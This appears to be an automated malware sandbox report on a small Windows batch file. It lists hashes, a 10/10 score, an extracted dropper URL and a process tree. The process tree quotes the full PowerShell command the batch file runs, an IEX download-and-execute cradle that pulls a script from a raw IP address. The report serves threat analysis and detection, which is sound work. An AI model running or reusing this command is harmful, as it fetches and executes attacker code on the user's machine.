4ce493a2f1b9b9fe548d1aa4b4355f76c7ec0c3402da758cdca52288300b6f63 | Triage

Analysis

max time kernel
122s
max time network
147s
platform
windows10_x64
resource
win10v200430
submitted
05-06-2020 13:10

Sharing

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General

Target

33f14d49b75ebbcfae41baae23087024.bat
Size

215B
MD5

b8e6cda7825e3b0e91da48bf974c6f75
SHA1

c4cda1c0a376e6de07323a2b5d9ff388735dee66
SHA256

4ce493a2f1b9b9fe548d1aa4b4355f76c7ec0c3402da758cdca52288300b6f63
SHA512

3bfad04872fa35e5b1895719cfa2e5b38149c97a623526de13b22d51060831f25371b30e1155512a700ecab4ef809825cd575a2bacd4637ba5d50a86d684dd65

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/33f14d49b75ebbcfae41baae23087024

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1712 1344 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1712 WerFault.exe
Token: SeBackupPrivilege 1712 WerFault.exe
Token: SeDebugPrivilege 1712 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe
1712	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\33f14d49b75ebbcfae41baae23087024.bat"
1⤵
PID:1164

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/33f14d49b75ebbcfae41baae23087024');Invoke-TOSTCDSD;Start-Sleep -s 10000"
2⤵
PID:1344

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1344 -s 700
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1712

Network

MITRE ATT&CK Matrix

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Downloads

memory/1712-0-0x0000000004860000-0x0000000004861000-memory.dmp

Filesize
4KB

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memory/1712-1-0x0000000004F90000-0x0000000004F91000-memory.dmp

Filesize
4KB

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